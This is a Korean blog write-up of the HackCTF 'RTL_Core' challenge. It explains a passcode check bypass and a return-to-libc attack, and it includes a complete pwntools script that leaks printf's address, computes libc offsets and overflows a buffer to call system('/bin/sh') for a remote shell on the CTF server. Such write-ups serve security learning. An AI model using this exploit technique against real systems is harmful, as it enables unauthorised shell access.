ii4gsp

HackCTF - RTL_Core 본문

시스템 해킹/HackCTF

HackCTF - RTL_Core

ii4gsp 2020. 2. 17. 21:11

파일을 다운받아 주자.

 

 

 

 

gets()함수로 입력을받고 check_passcode()함수의 인자로 입력한 값이 전달되고

check_passcode()함수의 인자와 hashcode의 값이 같으면 core()함수를 호출한다.

 

 

 

 

hashcode의 값은 0xC0D9B0A7 이다.

 

 

 

 

check_passcode()함수를 보면 주소를 4byte씩 증가시키며 값을 읽어 v2에 더하고

v2를 return한다.

hashcode의 값 0xC0D9B0A7을 5번 나누어서 전달하면 된다.

 

 

 

 

C0D9B0A7을 5로 나누면 0x2691F021이 나온다.

 

 

 

 

다시 곱하기 5를하면 C0D9B0A7에서 2가 마이너스된 C0D9B0A5가 나온다.

0x2691F021을 4번 전달하고 +2의 값을 전달해주면 된다.

 

 

 

 

core()함수는 dlsym()함수를 사용하여 printf의 주소를 출력해준다.

그리고 read()함수를 통해 buf에 0x64 즉, 100byte만큼 입력을받는다.

buf ~ sfp = 62byte이고, buf ~ ret = 66byte 이다.

 

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('/home/ii4gsp/HackCTF/RTL_Core/libc.so.6')

payload1 = ''
payload1 += p32(0x2691F021) * 4
payload1 += p32(0x2691F023)

r.sendline(payload1)

r.recvuntil('0x')
printf = int(r.recv(8), 16)

libc_base = printf - libc.symbols['printf']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload2 = ''
payload2 += '\x90' * 66
payload2 += p32(system)
payload2 += '\x90' * 4
payload2 += p32(binsh)

r.sendline(payload2)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Look at me  (0) 2020.02.17
HackCTF - Beginner_Heap  (0) 2020.02.17
HackCTF - Random Key  (0) 2020.02.16
HackCTF - 1996  (0) 2020.02.16
HackCTF - Poet  (0) 2020.02.16
Comments